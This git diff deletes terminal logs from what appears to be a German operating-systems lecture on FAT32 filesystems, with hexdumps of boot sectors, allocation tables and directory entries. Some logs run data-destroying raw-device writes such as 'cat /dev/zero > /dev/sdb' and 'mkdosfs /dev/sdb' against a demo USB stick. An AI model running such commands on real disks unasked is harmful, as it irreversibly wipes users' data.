-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-FAT-Dateisysteme: https://de.wikipedia.org/wiki/File_Allocation_Table
diff --git a/20220502/filesystems-1.txt b/20220502/filesystems-1.txt
deleted file mode 100644
index 71ef73cea9eb8289a95bee58e30f7ca97628a6a4..0000000000000000000000000000000000000000
--- a/20220502/filesystems-1.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502> mount /media/usb1/
-Sie haben Post in /var/mail/peter.
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/
-insgesamt 0
-cassini/home/peter/bo/2022ss/bs/20220502> echo "Dies ist ein Test." > /media/usb1/test.txt
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/
-insgesamt 4
--rwxr-xr-x 1 peter peter 19 Mai  2 12:46 test.txt
-cassini/home/peter/bo/2022ss/bs/20220502> cat /media/usb1/test.txt
-Dies ist ein Test.
-cassini/home/peter/bo/2022ss/bs/20220502> umount /media/usb1
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/
-insgesamt 0
-cassini/home/peter/bo/2022ss/bs/20220502> 
diff --git a/20220502/filesystems-10.txt b/20220502/filesystems-10.txt
deleted file mode 100644
index 9a99d1b82846b631b56134adc08a67e47b185c8b..0000000000000000000000000000000000000000
--- a/20220502/filesystems-10.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/zero
-crw-rw-rw- 1 root root 1, 5 Mär 15 18:48 /dev/zero
-cassini/home/peter/bo/2022ss/bs/20220502> cat /dev/zero | hexdump -C | head -20
-^C
-cassini/home/peter/bo/2022ss/bs/20220502> dd if=/dev/zero bs=1024 count=1 | hexdump -C
-00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-1+0 Datensätze ein
-1+0 Datensätze aus
-*
-00000400
-1024 bytes (1,0 kB, 1,0 KiB) copied, 6,6155e-05 s, 15,5 MB/s
-cassini/home/peter/bo/2022ss/bs/20220502>
diff --git a/20220502/filesystems-11.txt b/20220502/filesystems-11.txt
deleted file mode 100644
index 9f8d9980c373e3f9a9bedf081fca7f44de32ebaa..0000000000000000000000000000000000000000
--- a/20220502/filesystems-11.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502> cat /dev/zero > /dev/sdb
-bash: /dev/sdb: Keine Berechtigung
-cassini/home/peter/bo/2022ss/bs/20220502> sudo cat /dev/zero > /dev/sdb
-bash: /dev/sdb: Keine Berechtigung
-cassini/home/peter/bo/2022ss/bs/20220502>
diff --git a/20220502/filesystems-12.txt b/20220502/filesystems-12.txt
deleted file mode 100644
index df0ead6a3fcd287807ca50e8c590960dc3cd4fbe..0000000000000000000000000000000000000000
--- a/20220502/filesystems-12.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502# dd if=/dev/sdb bs=1024 count=1024 | hexdump -C     00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00100000
-1024+0 Datensätze ein
-1024+0 Datensätze aus
-1048576 bytes (1,0 MB, 1,0 MiB) copied, 0,121808 s, 8,6 MB/s
-cassini/home/peter/bo/2022ss/bs/20220502# mount /media/usb1/
-mount: /media/usb1: special device /dev/sdb1 does not exist.
-cassini/home/peter/bo/2022ss/bs/20220502# mount /media/usb0
-mount: /media/usb0: wrong fs type, bad option, bad superblock on /dev/sdb, missing codepage or helper program, or other error.
-cassini/home/peter/bo/2022ss/bs/20220502#
diff --git a/20220502/filesystems-13.txt b/20220502/filesystems-13.txt
deleted file mode 100644
index ec7c6b08d8b14539a87efbce59de0825e1f91401..0000000000000000000000000000000000000000
--- a/20220502/filesystems-13.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502# ls -l /dev/sdb*
-brw-rw---- 1 root disk 8, 16 Mai  2 13:22 /dev/sdb
-cassini/home/peter/bo/2022ss/bs/20220502# echo "Dies ist ein Test." > /dev/sdb
-cassini/home/peter/bo/2022ss/bs/20220502# dd if=/dev/sdb bs=1024 count=1024 | hexdump -C
-00000000  44 69 65 73 20 69 73 74  20 65 69 6e 20 54 65 73  |Dies ist ein Tes|
-00000010  74 2e 0a 00 00 00 00 00  00 00 00 00 00 00 00 00  |t...............|
-00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00100000
-1024+0 Datensätze ein
-1024+0 Datensätze aus
-1048576 bytes (1,0 MB, 1,0 MiB) copied, 0,123712 s, 8,5 MB/s
-cassini/home/peter/bo/2022ss/bs/20220502#
diff --git a/20220502/filesystems-14.txt b/20220502/filesystems-14.txt
deleted file mode 100644
index e6b0d4362a44061a5ac82402041a763753750427..0000000000000000000000000000000000000000
--- a/20220502/filesystems-14.txt
+++ /dev/null
@@ -1,62 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502# mkdosfs /dev/sdb
-mkfs.fat 4.1 (2017-01-24)
-attribute "partition" not found
-cassini/home/peter/bo/2022ss/bs/20220502# dd if=/dev/sdb bs=1024 count=1024 | hexdump -C
-00000000  eb 58 90 6d 6b 66 73 2e  66 61 74 00 02 08 20 00  |.X.mkfs.fat... .|
-00000010  02 00 00 00 00 f8 00 00  3e 00 81 00 00 00 00 00  |........>.......|
-00000020  00 d0 7c 00 28 1f 00 00  00 00 00 00 02 00 00 00  |..|.(...........|
-00000030  01 00 06 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-00000040  80 00 29 27 b7 d9 08 4e  4f 20 4e 41 4d 45 20 20  |..)'...NO NAME  |
-00000050  20 20 46 41 54 33 32 20  20 20 0e 1f be 77 7c ac  |  FAT32   ...w|.|
-00000060  22 c0 74 0b 56 b4 0e bb  07 00 cd 10 5e eb f0 32  |".t.V.......^..2|
-00000070  e4 cd 16 cd 19 eb fe 54  68 69 73 20 69 73 20 6e  |.......This is n|
-00000080  6f 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 64 69  |ot a bootable di|
-00000090  73 6b 2e 20 20 50 6c 65  61 73 65 20 69 6e 73 65  |sk.  Please inse|
-000000a0  72 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 66 6c  |rt a bootable fl|
-000000b0  6f 70 70 79 20 61 6e 64  0d 0a 70 72 65 73 73 20  |oppy and..press |
-000000c0  61 6e 79 20 6b 65 79 20  74 6f 20 74 72 79 20 61  |any key to try a|
-000000d0  67 61 69 6e 20 2e 2e 2e  20 0d 0a 00 00 00 00 00  |gain ... .......|
-000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000200  52 52 61 41 00 00 00 00  00 00 00 00 00 00 00 00  |RRaA............|
-00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000003e0  00 00 00 00 72 72 41 61  31 92 0f 00 02 00 00 00  |....rrAa1.......|
-000003f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000400  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00000c00  eb 58 90 6d 6b 66 73 2e  66 61 74 00 02 08 20 00  |.X.mkfs.fat... .|
-00000c10  02 00 00 00 00 f8 00 00  3e 00 81 00 00 00 00 00  |........>.......|
-00000c20  00 d0 7c 00 28 1f 00 00  00 00 00 00 02 00 00 00  |..|.(...........|
-00000c30  01 00 06 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-00000c40  80 00 29 27 b7 d9 08 4e  4f 20 4e 41 4d 45 20 20  |..)'...NO NAME  |
-00000c50  20 20 46 41 54 33 32 20  20 20 0e 1f be 77 7c ac  |  FAT32   ...w|.|
-00000c60  22 c0 74 0b 56 b4 0e bb  07 00 cd 10 5e eb f0 32  |".t.V.......^..2|
-00000c70  e4 cd 16 cd 19 eb fe 54  68 69 73 20 69 73 20 6e  |.......This is n|
-00000c80  6f 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 64 69  |ot a bootable di|
-00000c90  73 6b 2e 20 20 50 6c 65  61 73 65 20 69 6e 73 65  |sk.  Please inse|
-00000ca0  72 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 66 6c  |rt a bootable fl|
-00000cb0  6f 70 70 79 20 61 6e 64  0d 0a 70 72 65 73 73 20  |oppy and..press |
-00000cc0  61 6e 79 20 6b 65 79 20  74 6f 20 74 72 79 20 61  |any key to try a|
-00000cd0  67 61 69 6e 20 2e 2e 2e  20 0d 0a 00 00 00 00 00  |gain ... .......|
-00000ce0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00000df0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000e00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00004000  f8 ff ff 0f ff ff ff 0f  f8 ff ff 0f 00 00 00 00  |................|
-00004010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00100000
-1024+0 Datensätze ein
-1024+0 Datensätze aus
-1048576 bytes (1,0 MB, 1,0 MiB) copied, 0,121888 s, 8,6 MB/s
-cassini/home/peter/bo/2022ss/bs/20220502# mount /media/usb0
-cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/
-insgesamt 8
-drwxr-xr-x  2 root root 4096 Jan  1  1970 .
-drwxr-xr-x 17 root root 4096 Dez  4  2020 ..
-cassini/home/peter/bo/2022ss/bs/20220502# echo "Dies ist ein Test." > /media/usb0/test.txt
-cassini/home/peter/bo/2022ss/bs/20220502# umount /media/usb0
-cassini/home/peter/bo/2022ss/bs/20220502#
diff --git a/20220502/filesystems-15.txt b/20220502/filesystems-15.txt
deleted file mode 100644
index 51e53e6d3efd8953b93d6b85a8db40ad8a90a312..0000000000000000000000000000000000000000
--- a/20220502/filesystems-15.txt
+++ /dev/null
@@ -1,64 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502# dd if=/dev/sdb bs=1024 count=40960 | hexdump -C    00000000  eb 58 90 6d 6b 66 73 2e  66 61 74 00 02 08 20 00  |.X.mkfs.fat... .|
-00000010  02 00 00 00 00 f8 00 00  3e 00 81 00 00 00 00 00  |........>.......|
-00000020  00 d0 7c 00 28 1f 00 00  00 00 00 00 02 00 00 00  |..|.(...........|
-00000030  01 00 06 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-00000040  80 00 29 27 b7 d9 08 4e  4f 20 4e 41 4d 45 20 20  |..)'...NO NAME  |
-00000050  20 20 46 41 54 33 32 20  20 20 0e 1f be 77 7c ac  |  FAT32   ...w|.|
-00000060  22 c0 74 0b 56 b4 0e bb  07 00 cd 10 5e eb f0 32  |".t.V.......^..2|
-00000070  e4 cd 16 cd 19 eb fe 54  68 69 73 20 69 73 20 6e  |.......This is n|
-00000080  6f 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 64 69  |ot a bootable di|
-00000090  73 6b 2e 20 20 50 6c 65  61 73 65 20 69 6e 73 65  |sk.  Please inse|
-000000a0  72 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 66 6c  |rt a bootable fl|
-000000b0  6f 70 70 79 20 61 6e 64  0d 0a 70 72 65 73 73 20  |oppy and..press |
-000000c0  61 6e 79 20 6b 65 79 20  74 6f 20 74 72 79 20 61  |any key to try a|
-000000d0  67 61 69 6e 20 2e 2e 2e  20 0d 0a 00 00 00 00 00  |gain ... .......|
-000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000200  52 52 61 41 00 00 00 00  00 00 00 00 00 00 00 00  |RRaA............|
-00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000003e0  00 00 00 00 72 72 41 61  30 92 0f 00 03 00 00 00  |....rrAa0.......|
-000003f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000400  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00000c00  eb 58 90 6d 6b 66 73 2e  66 61 74 00 02 08 20 00  |.X.mkfs.fat... .|
-00000c10  02 00 00 00 00 f8 00 00  3e 00 81 00 00 00 00 00  |........>.......|
-00000c20  00 d0 7c 00 28 1f 00 00  00 00 00 00 02 00 00 00  |..|.(...........|
-00000c30  01 00 06 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-00000c40  80 00 29 27 b7 d9 08 4e  4f 20 4e 41 4d 45 20 20  |..)'...NO NAME  |
-00000c50  20 20 46 41 54 33 32 20  20 20 0e 1f be 77 7c ac  |  FAT32   ...w|.|
-00000c60  22 c0 74 0b 56 b4 0e bb  07 00 cd 10 5e eb f0 32  |".t.V.......^..2|
-00000c70  e4 cd 16 cd 19 eb fe 54  68 69 73 20 69 73 20 6e  |.......This is n|
-00000c80  6f 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 64 69  |ot a bootable di|
-00000c90  73 6b 2e 20 20 50 6c 65  61 73 65 20 69 6e 73 65  |sk.  Please inse|
-00000ca0  72 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 66 6c  |rt a bootable fl|
-00000cb0  6f 70 70 79 20 61 6e 64  0d 0a 70 72 65 73 73 20  |oppy and..press |
-00000cc0  61 6e 79 20 6b 65 79 20  74 6f 20 74 72 79 20 61  |any key to try a|
-00000cd0  67 61 69 6e 20 2e 2e 2e  20 0d 0a 00 00 00 00 00  |gain ... .......|
-00000ce0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00000df0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000e00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00004000  f8 ff ff 0f ff ff ff 0f  f8 ff ff 0f ff ff ff 0f  |................|
-00004010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-003e9000  f8 ff ff 0f ff ff ff 0f  f8 ff ff 0f ff ff ff 0f  |................|
-003e9010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-007ce000  41 74 00 65 00 73 00 74  00 2e 00 0f 00 8f 74 00  |At.e.s.t......t.|
-007ce010  78 00 74 00 00 00 ff ff  ff ff 00 00 ff ff ff ff  |x.t.............|
-007ce020  54 45 53 54 20 20 20 20  54 58 54 20 00 64 cf 5b  |TEST    TXT .d.[|
-007ce030  a2 54 a2 54 00 00 cf 5b  a2 54 03 00 13 00 00 00  |.T.T...[.T......|
-007ce040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-007cf000  44 69 65 73 20 69 73 74  20 65 69 6e 20 54 65 73  |Dies ist ein Tes|
-007cf010  74 2e 0a 00 00 00 00 00  00 00 00 00 00 00 00 00  |t...............|
-007cf020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-02800000
-40960+0 Datensätze ein
-40960+0 Datensätze aus
-41943040 bytes (42 MB, 40 MiB) copied, 3,92683 s, 10,7 MB/s
-cassini/home/peter/bo/2022ss/bs/20220502#
diff --git a/20220502/filesystems-16.txt b/20220502/filesystems-16.txt
deleted file mode 100644
index 1028779b8e5d99a33280f09693ce2b0cfb5f2513..0000000000000000000000000000000000000000
--- a/20220502/filesystems-16.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502# cp -pi ../common/os-layers-5.jpg /media/usb0/
-cp: der Eigentümer für '/media/usb0/os-layers-5.jpg' konnte nicht beibehalten werden: Die Operation ist nicht erlaubt
-cassini/home/peter/bo/2022ss/bs/20220502# ls -l ../common/os-layers-5.jpg
--rw-r--r-- 1 peter peter 54499 Mai  4  2015 ../common/os-layers-5.jpg
-cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/
-insgesamt 68
-drwxr-xr-x  2 root root  4096 Mai  2 14:03 .
-drwxr-xr-x 17 root root  4096 Dez  4  2020 ..
--rwxr-xr-x  1 root root 54499 Mai  4  2015 os-layers-5.jpg
--rwxr-xr-x  1 root root    19 Mai  2 13:30 test.txt
-cassini/home/peter/bo/2022ss/bs/20220502#
diff --git a/20220502/filesystems-17.txt b/20220502/filesystems-17.txt
deleted file mode 100644
index 8f0d8c2848fec6ce492b6d1872afd9f3bb4d3b9d..0000000000000000000000000000000000000000
--- a/20220502/filesystems-17.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-00004000  f8 ff ff 0f ff ff ff 0f  f8 ff ff 0f ff ff ff 0f  |................|
-00004010  05 00 00 00 06 00 00 00  07 00 00 00 08 00 00 00  |................|
-00004020  09 00 00 00 0a 00 00 00  0b 00 00 00 0c 00 00 00  |................|
-00004030  0d 00 00 00 0e 00 00 00  0f 00 00 00 10 00 00 00  |................|
-00004040  11 00 00 00 ff ff ff 0f  00 00 00 00 00 00 00 00  |................|
-00004050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-003e9000  f8 ff ff 0f ff ff ff 0f  f8 ff ff 0f ff ff ff 0f  |................|
-003e9010  05 00 00 00 06 00 00 00  07 00 00 00 08 00 00 00  |................|
-003e9020  09 00 00 00 0a 00 00 00  0b 00 00 00 0c 00 00 00  |................|
-003e9030  0d 00 00 00 0e 00 00 00  0f 00 00 00 10 00 00 00  |................|
-003e9040  11 00 00 00 ff ff ff 0f  00 00 00 00 00 00 00 00  |................|
-003e9050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-007ce000  41 74 00 65 00 73 00 74  00 2e 00 0f 00 8f 74 00  |At.e.s.t......t.|
-007ce010  78 00 74 00 00 00 ff ff  ff ff 00 00 ff ff ff ff  |x.t.............|
-007ce020  54 45 53 54 20 20 20 20  54 58 54 20 00 64 cf 5b  |TEST    TXT .d.[|
-007ce030  a2 54 a2 54 00 00 cf 5b  a2 54 03 00 13 00 00 00  |.T.T...[.T......|
-007ce040  42 70 00 67 00 00 00 ff  ff ff ff 0f 00 0e ff ff  |Bp.g............|
-007ce050  ff ff ff ff ff ff ff ff  ff ff 00 00 ff ff ff ff  |................|
-007ce060  01 6f 00 73 00 2d 00 6c  00 61 00 0f 00 0e 79 00  |.o.s.-.l.a....y.|
-007ce070  65 00 72 00 73 00 2d 00  35 00 00 00 2e 00 6a 00  |e.r.s.-.5.....j.|
-007ce080  4f 53 2d 4c 41 59 7e 31  4a 50 47 20 00 00 78 60  |OS-LAY~1JPG ..x`|
-007ce090  a2 54 a2 54 00 00 a2 43  a4 46 04 00 e3 d4 00 00  |.T.T...C.F......|
-007ce0a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-007cf000  44 69 65 73 20 69 73 74  20 65 69 6e 20 54 65 73  |Dies ist ein Tes|
-007cf010  74 2e 0a 00 00 00 00 00  00 00 00 00 00 00 00 00  |t...............|
-007cf020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-007d0000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 01 00 48  |......JFIF.....H|
-007d0010  00 48 00 00 ff e1 00 80  45 78 69 66 00 00 4d 4d  |.H......Exif..MM|
-007d0020  00 2a 00 00 00 08 00 04  01 1a 00 05 00 00 00 01  |.*..............|
-007d0030  00 00 00 3e 01 1b 00 05  00 00 00 01 00 00 00 46  |...>...........F|
-007d0040  01 28 00 03 00 00 00 01  00 02 00 00 87 69 00 04  |.(...........i..|
-007d0050  00 00 00 01 00 00 00 4e  00 00 00 00 00 00 00 48  |.......N.......H|
-007d0060  00 00 00 01 00 00 00 48  00 00 00 01 00 03 90 00  |.......H........|
-007d0070  00 07 00 00 00 04 30 32  31 30 a0 00 00 07 00 00  |......0210......|
-007d0080  00 04 30 31 30 30 a0 01  00 03 00 00 00 01 ff ff  |..0100..........|
-007d0090  00 00 00 00 00 00 ff e1  02 88 68 74 74 70 3a 2f  |..........http:/|
diff --git a/20220502/filesystems-18.txt b/20220502/filesystems-18.txt
deleted file mode 100644
index 03a4a73b0dcf47740a10340a81753a18dd544a5d..0000000000000000000000000000000000000000
--- a/20220502/filesystems-18.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/
-insgesamt 68
-drwxr-xr-x  2 root root  4096 Jan  1  1970 .
-drwxr-xr-x 17 root root  4096 Dez  4  2020 ..
--rwxr-xr-x  1 root root 54499 Mai  4  2015 os-layers-5.jpg
--rwxr-xr-x  1 root root    19 Mai  2 13:30 test.txt
-cassini/home/peter/bo/2022ss/bs/20220502# rm /media/usb0/test.txt
-cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/
-insgesamt 64
-drwxr-xr-x  2 root root  4096 Mai  2 14:13 .
-drwxr-xr-x 17 root root  4096 Dez  4  2020 ..
--rwxr-xr-x  1 root root 54499 Mai  4  2015 os-layers-5.jpg
-cassini/home/peter/bo/2022ss/bs/20220502# cp -pi ../common/Operating_system_placement-de.svg /media/usb0/
-cp: der Eigentümer für '/media/usb0/Operating_system_placement-de.svg' konnte nicht beibehalten werden: Die Operation ist nicht erlaubt
-cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/                                 insgesamt 84
-drwxr-xr-x  2 root root  4096 Mai  2 14:14 .
-drwxr-xr-x 17 root root  4096 Dez  4  2020 ..
--rwxr-xr-x  1 root root 17312 Okt  5  2013 Operating_system_placement-de.svg
--rwxr-xr-x  1 root root 54499 Mai  4  2015 os-layers-5.jpg
-cassini/home/peter/bo/2022ss/bs/20220502#
diff --git a/20220502/filesystems-19.txt b/20220502/filesystems-19.txt
deleted file mode 100644
index 1a386593fbf943398026e159021f9e0f9a5148c3..0000000000000000000000000000000000000000
--- a/20220502/filesystems-19.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-00004000  f8 ff ff 0f ff ff ff 0f  f8 ff ff 0f 00 00 00 00  |................|
-00004010  05 00 00 00 06 00 00 00  07 00 00 00 08 00 00 00  |................|
-00004020  09 00 00 00 0a 00 00 00  0b 00 00 00 0c 00 00 00  |................|
-00004030  0d 00 00 00 0e 00 00 00  0f 00 00 00 10 00 00 00  |................|
-00004040  11 00 00 00 ff ff ff 0f  13 00 00 00 14 00 00 00  |................|
-00004050  15 00 00 00 16 00 00 00  ff ff ff 0f 00 00 00 00  |................|
-00004060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-003e9000  f8 ff ff 0f ff ff ff 0f  f8 ff ff 0f 00 00 00 00  |................|
-003e9010  05 00 00 00 06 00 00 00  07 00 00 00 08 00 00 00  |................|
-003e9020  09 00 00 00 0a 00 00 00  0b 00 00 00 0c 00 00 00  |................|
-003e9030  0d 00 00 00 0e 00 00 00  0f 00 00 00 10 00 00 00  |................|
-003e9040  11 00 00 00 ff ff ff 0f  13 00 00 00 14 00 00 00  |................|
-003e9050  15 00 00 00 16 00 00 00  ff ff ff 0f 00 00 00 00  |................|
-003e9060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-007ce000  e5 74 00 65 00 73 00 74  00 2e 00 0f 00 8f 74 00  |.t.e.s.t......t.|
-007ce010  78 00 74 00 00 00 ff ff  ff ff 00 00 ff ff ff ff  |x.t.............|
-007ce020  e5 45 53 54 20 20 20 20  54 58 54 20 00 64 cf 5b  |.EST    TXT .d.[|
-007ce030  a2 54 a2 54 00 00 cf 5b  a2 54 03 00 13 00 00 00  |.T.T...[.T......|
-007ce040  42 70 00 67 00 00 00 ff  ff ff ff 0f 00 0e ff ff  |Bp.g............|
-007ce050  ff ff ff ff ff ff ff ff  ff ff 00 00 ff ff ff ff  |................|
-007ce060  01 6f 00 73 00 2d 00 6c  00 61 00 0f 00 0e 79 00  |.o.s.-.l.a....y.|
-007ce070  65 00 72 00 73 00 2d 00  35 00 00 00 2e 00 6a 00  |e.r.s.-.5.....j.|
-007ce080  4f 53 2d 4c 41 59 7e 31  4a 50 47 20 00 00 78 60  |OS-LAY~1JPG ..x`|
-007ce090  a2 54 a2 54 00 00 a2 43  a4 46 04 00 e3 d4 00 00  |.T.T...C.F......|
-007ce0a0  43 2d 00 64 00 65 00 2e  00 73 00 0f 00 51 76 00  |C-.d.e...s...Qv.|
-007ce0b0  67 00 00 00 ff ff ff ff  ff ff 00 00 ff ff ff ff  |g...............|
-007ce0c0  02 74 00 65 00 6d 00 5f  00 70 00 0f 00 51 6c 00  |.t.e.m._.p...Ql.|
-007ce0d0  61 00 63 00 65 00 6d 00  65 00 00 00 6e 00 74 00  |a.c.e.m.e...n.t.|
-007ce0e0  01 4f 00 70 00 65 00 72  00 61 00 0f 00 51 74 00  |.O.p.e.r.a...Qt.|
-007ce0f0  69 00 6e 00 67 00 5f 00  73 00 00 00 79 00 73 00  |i.n.g._.s...y.s.|
-007ce100  4f 50 45 52 41 54 7e 31  53 56 47 20 00 64 c6 61  |OPERAT~1SVG .d.a|
-007ce110  a2 54 87 54 00 00 8a 5c  45 43 12 00 a0 43 00 00  |.T.T...\EC...C..|
-007ce120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-007cf000  44 69 65 73 20 69 73 74  20 65 69 6e 20 54 65 73  |Dies ist ein Tes|
-007cf010  74 2e 0a 00 00 00 00 00  00 00 00 00 00 00 00 00  |t...............|
-007cf020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-007d0000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 01 00 48  |......JFIF.....H|
-007d0010  00 48 00 00 ff e1 00 80  45 78 69 66 00 00 4d 4d  |.H......Exif..MM|
diff --git a/20220502/filesystems-2.txt b/20220502/filesystems-2.txt
deleted file mode 100644
index 2b715a171fb0bd0813a6d5aa68300109561f5b68..0000000000000000000000000000000000000000
--- a/20220502/filesystems-2.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502> mount /media/usb1
-mount: /media/usb1: special device /dev/sdb1 does not exist.
-cassini/home/peter/bo/2022ss/bs/20220502> mount /media/usb1
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/
-insgesamt 4
--rwxr-xr-x 1 peter peter 19 Mai  2 12:46 test.txt
-cassini/home/peter/bo/2022ss/bs/20220502> rm /media/usb1/test.txt
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/
-insgesamt 0
-cassini/home/peter/bo/2022ss/bs/20220502> umount /media/usb1
-cassini/home/peter/bo/2022ss/bs/20220502>
diff --git a/20220502/filesystems-3.txt b/20220502/filesystems-3.txt
deleted file mode 100644
index 6c9129ef3f59869072cf371d8ade7da6de2d58f6..0000000000000000000000000000000000000000
--- a/20220502/filesystems-3.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/sdb1
-ls: Zugriff auf '/dev/sdb1' nicht möglich: Datei oder Verzeichnis nicht gefunden
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/sdb1
-brw-rw---- 1 root disk 8, 17 Mai  2 12:50 /dev/sdb1
-cassini/home/peter/bo/2022ss/bs/20220502>
diff --git a/20220502/filesystems-4.txt b/20220502/filesystems-4.txt
deleted file mode 100644
index 8c22f8a9a0217d46fe1ef9af72690dd917bacdab..0000000000000000000000000000000000000000
--- a/20220502/filesystems-4.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/sdb1
-brw-rw---- 1 root disk 8, 17 Mai  2 12:50 /dev/sdb1
-cassini/home/peter/bo/2022ss/bs/20220502>
-cassini/home/peter/bo/2022ss/bs/20220502> less /dev/sdb1
-/dev/sdb1 is not a regular file (use -f to see it)
-cassini/home/peter/bo/2022ss/bs/20220502> less -f /dev/sdb1
-/dev/sdb1: Keine Berechtigung
-cassini/home/peter/bo/2022ss/bs/20220502> sudo less -f /dev/sdb1
diff --git a/20220502/filesystems-5.txt b/20220502/filesystems-5.txt
deleted file mode 100644
index 7d153989b8c042eb8191e3f543e6968751af52f0..0000000000000000000000000000000000000000
--- a/20220502/filesystems-5.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<EB>X<90>mkfs.fat^@^B^H ^@^B^@^@^@^@<F8>^@^@>^@<81>^@^@^H^@^@^@<C8>|^@(^_^@^@^@^@^@^@^B^@^@^@
-^A^@^F^@^@^@^@^@^@^@^@^@^@^@^@^@<80>^A)_Q3<C0>NO NAME    FAT32   ^N^_<BE>w|<AC>"<C0>t^KV<B4>
-^N<BB>^G^@<CD>^P^<EB><F0>2<E4><CD>^V<CD>^Y<EB><FE>This is not a bootable disk.  Please insert
- a bootable floppy and
-press any key to try again ...
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
